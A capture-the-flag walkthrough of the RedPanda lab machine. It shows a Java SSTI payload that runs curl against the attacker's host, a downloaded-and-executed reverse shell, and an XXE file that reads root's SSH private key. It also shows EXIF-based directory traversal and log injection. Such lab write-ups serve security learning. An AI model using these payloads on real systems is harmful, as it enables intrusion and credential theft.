RedPanda

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.227.207
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-10 09:28 EDT
Nmap scan report for 10.129.227.207
Host is up (0.0087s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Red Panda Search SSTI

The page was some kind of search engine:

When we search for something, it shows our result back on the screen:

There are a few possibilities in my mind:

  • XSS -> But there's no users present to 'view' our requests

  • SQL Injection -> Might have a database present, but not typical for non-logins.

  • SSTI

When we use ${7*7}, we get a unique error:

It seems that some characters are being blocked. We can fuzz this using wfuzz.

$ wfuzz -w /usr/share/seclists/Fuzzing/alphanum-case-extra.txt  -u http://10.129.227.207:8080/search -d name=FUZZ --sl=0 /usr/lib/python3/dist-packages/wfuzz/__init__.p:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.227.207:8080/search
Total requests: 95

=====================================================================
ID           Response   Lines    Word       Chars       Payload                     
=====================================================================

000000005:   400        0 L      2 W        110 Ch      "%"                         
000000011:   500        0 L      3 W        120 Ch      "+"                         
000000009:   500        0 L      3 W        120 Ch      ")"                         
000000060:   500        0 L      3 W        120 Ch      "\"                         
000000093:   500        0 L      3 W        120 Ch      "}"                         
000000091:   500        0 L      3 W        120 Ch      "{" 

it seems that some of the characters here straight up cause crashes. When we filter for the word banned, then we see some more characters:

$ wfuzz -w /usr/share/seclists/Fuzzing/alphanum-case-extra.txt  -u http://10.129.227.207:8080/search -d name=FUZZ --sw=69     /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.227.207:8080/search
Total requests: 95

=====================================================================
ID           Response   Lines    Word       Chars       Payload                     
=====================================================================

000000004:   200        28 L     69 W       755 Ch      "$"                         
000000063:   200        28 L     69 W       755 Ch      "_"                         
000000094:   200        28 L     69 W       755 Ch      "~"

These characters are banned, but the rest are not. This is what happens when I used #{7*7}:

This confirms that SSTI works, and the payload was taken from a Freemarker cheat sheet, meaning the page runs in Java (but not necessarily FreeMarker!). We can use this payload after replacing the $ with * because # doesn't seem to work.

*{T(java.lang.Runtime).getRuntime().exec('curl 10.10.14.13/sstirce')}

From this, I will get a hit back on my Python server:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.227.207 - - [10/May/2023 09:43:33] code 404, message File not found
10.129.227.207 - - [10/May/2023 09:43:33] "GET /sstirce HTTP/1.1" 404 -

Now, we can easily get a reverse shell. We can do so by first downloading the shell on the machine, then executing it using bash:

curl 10.10.14.13/shell.sh -o /tmp/rev
bash /tmp/rev

Our listener port would catch a shell:

Privilege Escalation

Identifying XXE Injection

The first thing I noticed was we are part of the logs group. We can use the find command to see all files owned by the user:

$ find / -group logs 2> /dev/null
# truncated output
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml
/opt/panda_search/redpanda.log

The /credits directory contains XML files with the number of views that each Artist got for their respective images. However, the /opt directory has some interesting stuff.

woodenk@redpanda:/opt$ ll
total 24
drwxr-xr-x  5 root root 4096 Jun 23  2022 ./
drwxr-xr-x 20 root root 4096 Jun 23  2022 ../
-rwxr-xr-x  1 root root  462 Jun 23  2022 cleanup.sh*
drwxr-xr-x  3 root root 4096 Jun 14  2022 credit-score/
drwxr-xr-x  6 root root 4096 Jun 14  2022 maven/
drwxrwxr-x  5 root root 4096 Jun 14  2022 panda_search/

credit-score was a new thing. Within it there were a lot of directories leading to an App.java file that contains source code for it. We can break it down here.

It firsts takes a string and splits it into 3 portions, and only the last one is important.

public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        return map;
    }

After parsing the string (uri), it checks to see which Artist has an image matching the query. The uri variable is passed into the fullpath variable without sanitisation, making it vulnerable to directory traversal if we can control it. The Artist variable is embedded in the metadata of the image, which is also controllable.

public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }
        return "N/A";
    }

Afterwards, it basically updates the XML files within the logs:

public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());
        File fd = new File(path);
        Document doc = saxBuilder.build(fd);
        Element rootElement = doc.getRootElement();
        for(Element el: rootElement.getChildren())
        {
            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }

The goal here is to somehow pass an XML file that we control to the addViewTo function that has a malicious XML payload. The function above does not seem to check or verify the XML that is passed to it, so I'll be trying to read the /root/.ssh/id_rsa file.

Here's the XML file that I constructed:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/root/.ssh/id_rsa"> ]>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>1</views>
    <key>&foo;</key>
  </image>
  <image>
    <uri>/img/shy.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/crafty.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/peter.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>0</totalviews>
</credits>

Afterwards, we can transfer this to the machine via wget. Then we need to somehow put our user controlled string into the machine to execute.

Panda Search Logs

When reading the source code for panda_search, within MainController.java, it seems to check for the author of the files created:

 if(author.equals("woodenk") || author.equals("damian"))
                {
                        String path = "/credits/" + author + "_creds.xml";
                        File fd = new File(path);
                        Document doc = saxBuilder.build(fd);
                        Element rootElement = doc.getRootElement();
                        String totalviews = rootElement.getChildText("totalviews");
                        List<Element> images = rootElement.getChildren("image");
                        for(Element image: images)
                                System.out.println(image.getChildText("uri"));
                        model.addAttribute("noAuthor", false);
                        model.addAttribute("author", author);
                        model.addAttribute("totalviews", totalviews);
                        model.addAttribute("images", images);
                        return new ModelAndView("stats.html");
                }     

This is where /credits come in. The logs are then written to /opt/panda_search/redpanda.log.

public class RequestInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
        return true;
    }

    @Override
    public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
        String UserAgent = request.getHeader("User-Agent");
        String remoteAddr = request.getRemoteAddr();
        String requestUri = request.getRequestURI();
        Integer responseCode = response.getStatus();
        /*System.out.println("User agent: " + UserAgent);
        System.out.println("IP: " + remoteAddr);
        System.out.println("Uri: " + requestUri);
        System.out.println("Response code: " + responseCode.toString());*/
        System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
        FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
        BufferedWriter bw = new BufferedWriter(fw);
        bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
        bw.close();
    }
}

So this is where we have to enter our malicious string to start our exploit.

Exploit

First, let's grab the image from the website and change the metadata using exiftool.

$ exiftool -Artist="../tmp/read" lazy.jpg
    1 image files updated

The reason we are using this is because the XML files would be read from /credits../tmp/read.xml after a single ../. Then we need to transfer our XML file over as read_creds.xml.

Afterwards, we can create our malicious string based on the template and drop it into /opt/panda_search/redpanda.log:

echo 'a||aa||aa||../../../../../../../../../../../../../tmp/read.jpg' >> redpanda.log

Then we wait for a little bit, then read the read_creds.xml file to find the root SSH key.

Then we can ssh in as root.

Last updated